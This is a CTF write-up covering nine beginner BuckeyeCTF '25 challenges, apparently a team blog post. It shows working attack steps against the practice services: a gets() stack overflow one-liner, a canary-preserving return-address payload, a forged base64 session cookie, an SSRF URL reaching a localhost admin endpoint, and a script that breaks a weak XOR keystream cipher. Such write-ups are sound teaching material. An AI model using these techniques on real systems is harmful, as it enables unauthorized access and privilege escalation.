- Published on
BuckeyeCTF '25 - Beginner Challenges
- Authors

- Name
- 0xdbeef
Challenge: 1985 (1/9)
Attachment: email.txtThe sole file this chall includes (email.txt) is a relict of the boomer-Internet era, just like the description suggests.
➜ ~ file email.txt
email.txt: uuencoded text, file name "FLGPRNTR.COM", ASCII text
The way the attachment is encoded (uuencoding) is an anachronism - today one would expect base64 in this role. It's not my era, so I had to look-up: turns out even the 1992 MIME standard proposal references uuencoding as a mean of an e-mail attachment.
Anyway.
The solution is to extract the attachment and run included .COM file using the DOS emulator dosbox (truly a 1985 postcard in all details):
uudecode ./email.txt
dosbox -c "mount c $(pwd)" -c "c:" -c "FLGPRNTR.COM"
Challenge: Cosmonaut (2/9)
Attachment: cosmonaut.comWhat, another .COM file!? Let's run it with Wine:
➜ ~/dev/ctf wine ./cosmonaut.com
Cosmonauts run their programs everywhere and all at once. Like on Windows!
<redacted, one-third of the flag>
Ok, first (and spot-on) thought - I will need to run this on multiple platforms - each printing a part of the flag. After a quick inspection with IDA, turns out the platforms of interest are Windows, FreeBSD and Linux. I decided to inspect and modify the logics of platform detection in IDA.
The per-platform branching lies here:

What the chunk of instructions above does is: test if Windows, then print Windows part of the flag, test if Linux, then print Linux part of the flag, test if FreeBSD ... .
I patched individual instructions with NOP (no-operation), so to slide directly into the platform of interest. In example, with the following modification:

The binary printed:
➜ ~/dev/ctf wine ./cosmonaut.com
Cosmonauts run their programs everywhere and all at once. Like on FreeBSD!
<redacted>}
Once I ran it 3 times (once with the original and twice with modified binary), I have managed to gather all the parts of the flag.
Challenge: viewer (3/9)
After inspecting chall.c, it turns out it's a classic example of how no input sanitisation allows to write on stack memory:
int main() {
viewee_t viewee = INVALID;
char input[10]; // (mindcrafters) here lands our input
bool is_admin = false; // (mindcrafters) ...and this we need to write over
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("What would you like to view?\n> ");
gets(input);
...
} else if (strcmp(input, "flag") == 0 && is_admin) {
viewee = FLAG;
}
...
Confidently skipping the binary we have and sending directly to the one exposed on viewer.challs.pwnoh.io:
( printf $'flag\0AAAAAA\n'; cat ) | ncat --ssl viewer.challs.pwnoh.io 1337
Challenge: hexv (4/9)
No attachments!Here's a recon of the service linked in description:

It looks it offers a few functions in a REPL-like loop and, very conveniently, a function to show the current stack in hex.
Colors are assumed to distinguish between data (yellow), stack canary (red), and possibly return from function address (blue). The only thing that really mattered was the red stack canary - not to be overwritten! The rest would be sprayed with a shotgun shot of print_flag address.
Now, apologies for not using pwntools or any proper way scripted from start to finish, but I did it in a hurry - here's a rudimentary payload I crafted and sent via the ncat session:
payload = 'str 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000aaaaaaaaaaaaaaaa0000000000000000000000000000000000000000000000000000000000000000'
# To be read from "funcs" (this value changes each time you connect!)
print_flag_addr = 'e9d2c1e574550000'
# To be read from "dump" (this value changes each time you connect!)
canary_val = '0087e996358efade'
payload = payload.replace('0000000000000000', print_flag_addr)
payload = payload.replace('aaaaaaaaaaaaaaaa', canary_val)
print(payload)
And here's the attack:


Challenge: Mind Boggle (5/9)
Attachment: mystery.txtQuick inspection of downloaded attachment:
➜ ~ cat mystery.txt
-[----->+<]>++.++++.---.[->++++++<]>.[---->+++<]>+.-[--->++++<]>+.>-[----->+<]>.---.+++++.++++++++++++.-----------.[->++++++<]>+.--------------.---.-.---.++++++.---.+++.+++++++++++.-------------.++.+..-.----.++...-[--->++++<]>+.-[------>+<]>..--.-[--->++++<]>+.>-[----->+<]>.---.++++++.+..++++++++++.------------.+++.-----.-.+++++..----.---.++++++.-..++.--.+.-.--.+++.---..--.++.++++++.----..+.---.+++.+++++++++++.-------------.++.+..-.----.++...-[--->++++<]>+.-[------>+<]>...--..+++.-.++.----.++.-.+++.-----.---.+++++.+.+.--..++++.------..+.+++++++++++++.>-[----->+<]>.++...-.++++.---.----.++++++.+.----.-[--->++++<]>.[---->+++<]>+.+.--.++.--.++++++.
If it's not obvious already - this is how Brainfuck programming language looks like. Quick Google for "Brainfuck interpreter" to run it:

It produced a hex string. Let's deep further in Cyberchef:

Challenge: Ramesses (6/9)
Attachment: ramesses.zipWebsite recon: there's a login page, which upon entering any credentials redirects to the following page:

After inspecting sources attached in ramesses.zip, turns out printing the flag is just a matter of setting a special session cookie:
@app.route("/", methods=["GET", "POST"])
def home():
if request.method == "POST":
name = request.form.get("name", "")
cookie_data = {"name": name, "is_pharaoh": False}
# (mindcrafters): here!
encoded = base64.b64encode(json.dumps(cookie_data).encode()).decode()
response = make_response(redirect(url_for("tomb")))
response.set_cookie("session", encoded)
return response
return render_template("index.html")
Lets's craft it:
>>> base64.b64encode(b'{"name": "test", "is_pharaoh": true}').decode()
'eyJuYW1lIjogInRlc3QiLCAiaXNfcGhhcmFvaCI6IHRydWV9'
And modify the cookie after login attempt (can use any credentials):

Refresh page:

Challenge: The Professor's Files (7/9)
Attachment: OSU_Ethics_Report.docxQuick win, no need to even open the document:
➜ ~ unzip OSU_Ethics_Report.docx
Archive: OSU_Ethics_Report.docx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: docProps/app.xml
inflating: docProps/core.xml
inflating: docProps/custom.xml
inflating: word/_rels/document.xml.rels
inflating: word/document.xml
inflating: word/fontTable.xml
inflating: word/settings.xml
inflating: word/styles.xml
inflating: word/theme/theme1.xml
➜ ~ grep -rnF . -e bctf
./word/theme/theme1.xml:16: <!-- bctf{REDACTED} -->
Challenge: ebg13 (8/9)
Attachment: ebg13.zipSo - the website exposes this functionality of fetching given website and applying ROT13 cipher on it:

After investigating attached sources, turns out there's an /admin endpoint which prints the flag:
server.js:135
...
fastify.get('/admin', async (req, reply) => {
if (req.ip === "127.0.0.1" || req.ip === "::1" || req.ip === "::ffff:127.0.0.1") {
return reply.type('text/html').send(`Hello self! The flag is ${FLAG}.`)
}
return reply.type('text/html').send(`Hello ${req.ip}, I won't give you the flag!`)
})
...
It does it only in case of the request source being equivalent with localhost (written above in multiple notations). Let's apply the website on itself, then:
https://ebg13.challs.pwnoh.io/ebj13?url=http://127.0.0.1:3000/admin

Success. We've got a ROT13 string to pass to Cyberchef:

Challenge: Augury (9/9)
Attachment: main.pyWe are presented with a python service for hosting files - the one and only file stored presumably holds the flag:

Solution (based on the encryption scheme in main.py):
from pwn import xor
def recover_first_key(ct, pt_first_block):
assert len(pt_first_block) == 4
return xor(ct[:4], pt_first_block)
def get_next_key(prev_key):
prev_keystream = int.from_bytes(prev_key, byteorder="big")
next_keystream = (prev_keystream * 3404970675 + 3553295105) % (2**32)
next_key = next_keystream.to_bytes(4, byteorder="big")
return next_key
# Previously downloaded (encrypted) picture:
with open("secret_pic.png.enc") as f:
ct = bytes.fromhex(f.read().strip())
pt = b""
key = recover_first_key(ct, b"\x89PNG") # Known PNG magic
for i in range(0, len(ct), 4):
pt += xor(ct[i : i + 4], key)
key = get_next_key(key)
with open("secret_pic.png", "wb") as f:
f.write(pt)

Bonus
Visit our repo for more writeups: https://github.com/MindCraftersi/ctf/

Attachments: